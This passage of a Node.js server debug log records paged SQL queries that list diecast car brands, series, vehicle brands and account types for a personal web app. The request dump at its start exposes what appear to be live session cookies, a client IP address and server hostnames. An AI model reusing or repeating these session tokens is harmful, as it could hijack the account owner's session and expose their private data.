    'if-none-match': 'W/"2850-vYhtWmaLPPra5IeVa3++XLjoeng"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/collections',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/collections',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/collections',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"2850-vYhtWmaLPPra5IeVa3++XLjoeng"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-03T12:32:35.761Z server-connect:router Serving serverConnect /api/masters/collections/collection-category
2026-02-03T12:32:35.762Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T12:32:35.762Z server-connect:app Executing action step identify
2026-02-03T12:32:35.762Z server-connect:app options: { provider: 'security' }
2026-02-03T12:32:35.762Z server-connect:output identity: 1
2026-02-03T12:32:35.762Z server-connect:app Executing action step restrict
2026-02-03T12:32:35.762Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:32:35.763Z server-connect:app Executing action step identify
2026-02-03T12:32:35.763Z server-connect:app options: { provider: 'security' }
2026-02-03T12:32:35.763Z server-connect:output identity: 1
2026-02-03T12:32:35.763Z server-connect:app Executing action step restrict
2026-02-03T12:32:35.763Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:32:35.763Z server-connect:output restrict: undefined
2026-02-03T12:32:35.763Z server-connect:app Executing action step select
2026-02-03T12:32:35.763Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'collection_type' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `name` from `collection_type` where `collection_type`.`deleted` = ?'
  }
}
2026-02-03T12:32:35.764Z server-connect:output restrict: undefined
2026-02-03T12:32:35.764Z server-connect:app Executing action step paged
2026-02-03T12:32:35.764Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T12:32:35.764Z server-connect:output list: [
  { id: 1, name: 'Unit' },
  { id: 2, name: 'Transaction Type' },
  { id: 3, name: 'Account Type' },
  { id: 4, name: 'Loan Mode' },
  { id: 5, name: 'Account Transactions' },
  { id: 6, name: 'Trading Platform' },
  { id: 7, name: 'Loan Type' },
  { id: 8, name: 'Supplement Brand' },
  { id: 9, name: 'Diecast Brand' },
  { id: 10, name: 'Diecast Series' },
  { id: 11, name: 'Vehicle Brand' }
]
2026-02-03T12:32:35.766Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 172,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      name: 'Account Deposit',
      id: 19,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Salary Credit',
      id: 20,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'ATM Withdrawal',
      id: 21,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Account Transfer',
      id: 22,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Credit Card Payment',
      id: 25,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Card Swipe',
      id: 26,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Direct Payment',
      id: 38,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Auto Debit',
      id: 39,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Savings',
      id: 14,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Current',
      id: 15,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Petty Cash',
      id: 18,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Credit Card',
      id: 24,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Demat',
      id: 43,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Hotwheels',
      id: 71,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Majorette',
      id: 72,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Matchbox',
      id: 73,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Bburago',
      id: 74,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Maisto',
      id: 143,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'CCA',
      id: 158,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Mainline',
      id: 75,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Premium',
      id: 76,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Treasure Hunt',
      id: 77,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Super Treasure Hunt',
      id: 78,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Car Culture',
      id: 79,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Red Line Club',
      id: 80,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-02-03T12:32:40.826Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T12:32:40.826Z server-connect:app Executing action step identify
2026-02-03T12:32:40.827Z server-connect:app options: { provider: 'security' }
2026-02-03T12:32:40.827Z server-connect:output identity: 1
2026-02-03T12:32:40.827Z server-connect:app Executing action step restrict
2026-02-03T12:32:40.827Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:32:40.827Z server-connect:output restrict: undefined
2026-02-03T12:32:40.827Z server-connect:app Executing action step paged
2026-02-03T12:32:40.828Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T12:32:40.829Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 54,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 50 },
    current: 1,
    total: 3
  },
  data: [
    {
      name: 'Mainline',
      id: 75,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Premium',
      id: 76,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Treasure Hunt',
      id: 77,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Super Treasure Hunt',
      id: 78,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Car Culture',
      id: 79,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Red Line Club',
      id: 80,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Multipack',
      id: 81,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Exclusive',
      id: 82,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Moving Parts',
      id: 83,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Collectors',
      id: 84,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Racing Cars',
      id: 85,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Vintage',
      id: 86,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Deluxe Cars',
      id: 87,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Giftpack',
      id: 88,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Construction',
      id: 89,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Emergency',
      id: 90,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Basic',
      id: 91,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Fantasy',
      id: 92,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Other',
      id: 93,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Dirt',
      id: 94,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Race day',
      id: 95,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Muscle Mania',
      id: 96,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Hot Trucks',
      id: 97,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Celebration Racers',
      id: 98,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW 70s vs 90s',
      id: 99,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-02-03T12:32:43.649Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T12:32:43.649Z server-connect:app Executing action step identify
2026-02-03T12:32:43.649Z server-connect:app options: { provider: 'security' }
2026-02-03T12:32:43.649Z server-connect:output identity: 1
2026-02-03T12:32:43.649Z server-connect:app Executing action step restrict
2026-02-03T12:32:43.649Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:32:43.650Z server-connect:output restrict: undefined
2026-02-03T12:32:43.650Z server-connect:app Executing action step paged
2026-02-03T12:32:43.650Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T12:32:43.651Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 6,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      name: 'Hotwheels',
      id: 71,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Majorette',
      id: 72,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Matchbox',
      id: 73,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Bburago',
      id: 74,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Maisto',
      id: 143,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'CCA',
      id: 158,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    }
  ]
}
2026-02-03T12:32:47.481Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T12:32:47.481Z server-connect:app Executing action step identify
2026-02-03T12:32:47.481Z server-connect:app options: { provider: 'security' }
2026-02-03T12:32:47.481Z server-connect:output identity: 1
2026-02-03T12:32:47.481Z server-connect:app Executing action step restrict
2026-02-03T12:32:47.481Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:32:47.482Z server-connect:output restrict: undefined
2026-02-03T12:32:47.482Z server-connect:app Executing action step paged
2026-02-03T12:32:47.482Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T12:32:47.483Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 44,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 25 },
    current: 1,
    total: 2
  },
  data: [
    {
      name: 'Ford',
      id: 108,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Renault',
      id: 109,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Citroën',
      id: 110,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Volkswagen',
      id: 111,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Honda',
      id: 112,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Mercedes-Benz',
      id: 113,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'McLaren',
      id: 114,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Lamborghini',
      id: 115,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Nissan',
      id: 116,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Land Rover',
      id: 117,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Chevrolet',
      id: 118,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Toyota',
      id: 119,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Mitsubishi',
      id: 120,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Peugeot',
      id: 121,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Jeep',
      id: 122,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Volvo',
      id: 123,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Ferrari',
      id: 124,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Bentley',
      id: 125,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'BMW',
      id: 126,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Dodge',
      id: 127,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Alfa Romeo',
      id: 128,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Bugatti',
      id: 129,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Porsche',
      id: 130,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Scania',
      id: 131,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    },
    {
      name: 'Audi',
      id: 132,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    }
  ]
}
2026-02-03T12:32:48.963Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T12:32:48.964Z server-connect:app Executing action step identify
2026-02-03T12:32:48.964Z server-connect:app options: { provider: 'security' }
2026-02-03T12:32:48.964Z server-connect:output identity: 1
2026-02-03T12:32:48.964Z server-connect:app Executing action step restrict
2026-02-03T12:32:48.964Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:32:48.965Z server-connect:output restrict: undefined
2026-02-03T12:32:48.965Z server-connect:app Executing action step paged
2026-02-03T12:32:48.965Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T12:32:48.966Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 6,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      name: 'Hotwheels',
      id: 71,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Majorette',
      id: 72,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Matchbox',
      id: 73,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Bburago',
      id: 74,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Maisto',
      id: 143,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'CCA',
      id: 158,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    }
  ]
}
2026-02-03T12:32:52.155Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T12:32:52.155Z server-connect:app Executing action step identify
2026-02-03T12:32:52.155Z server-connect:app options: { provider: 'security' }
2026-02-03T12:32:52.155Z server-connect:output identity: 1
2026-02-03T12:32:52.156Z server-connect:app Executing action step restrict
2026-02-03T12:32:52.156Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:32:52.156Z server-connect:output restrict: undefined
2026-02-03T12:32:52.156Z server-connect:app Executing action step paged
2026-02-03T12:32:52.156Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T12:32:52.158Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 54,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 50 },
    current: 1,
    total: 3
  },
  data: [
    {
      name: 'Mainline',
      id: 75,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Premium',
      id: 76,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Treasure Hunt',
      id: 77,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Super Treasure Hunt',
      id: 78,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Car Culture',
      id: 79,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Red Line Club',
      id: 80,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Multipack',
      id: 81,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Exclusive',
      id: 82,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Moving Parts',
      id: 83,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Collectors',
      id: 84,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Racing Cars',
      id: 85,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Vintage',
      id: 86,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Deluxe Cars',
      id: 87,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Giftpack',
      id: 88,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Construction',
      id: 89,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Emergency',
      id: 90,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Basic',
      id: 91,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Fantasy',
      id: 92,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Other',
      id: 93,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Dirt',
      id: 94,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Race day',
      id: 95,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Muscle Mania',
      id: 96,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Hot Trucks',
      id: 97,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Celebration Racers',
      id: 98,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW 70s vs 90s',
      id: 99,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-02-03T12:32:57.950Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T12:32:57.950Z server-connect:app Executing action step identify
2026-02-03T12:32:57.950Z server-connect:app options: { provider: 'security' }
2026-02-03T12:32:57.950Z server-connect:output identity: 1
2026-02-03T12:32:57.950Z server-connect:app Executing action step restrict
2026-02-03T12:32:57.950Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:32:57.951Z server-connect:output restrict: undefined
2026-02-03T12:32:57.951Z server-connect:app Executing action step paged
2026-02-03T12:32:57.951Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T12:32:57.952Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 0,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: -25 },
    current: 1,
    total: 0
  },
  data: []
}
2026-02-03T12:33:09.118Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-03T12:33:09.119Z server-connect:app Executing action step identify
2026-02-03T12:33:09.119Z server-connect:app options: { provider: 'security' }
2026-02-03T12:33:09.119Z server-connect:output identity: 1
2026-02-03T12:33:09.119Z server-connect:app Executing action step restrict
2026-02-03T12:33:09.119Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-03T12:33:09.120Z server-connect:output restrict: undefined
2026-02-03T12:33:09.120Z server-connect:app Executing action step paged
2026-02-03T12:33:09.120Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-03T12:33:09.122Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 54,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 50 },
    current: 1,
    total: 3
  },
  data: [
    {
      name: 'Mainline',
      id: 75,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Premium',
      id: 76,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Treasure Hunt',
      id: 77,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Super Treasure Hunt',
      id: 78,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Car Culture',
      id: 79,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Red Line Club',
      id: 80,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Multipack',
      id: 81,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Exclusive',
      id: 82,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Moving Parts',
      id: 83,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Collectors',
      id: 84,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Racing Cars',
      id: 85,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Vintage',
      id: 86,
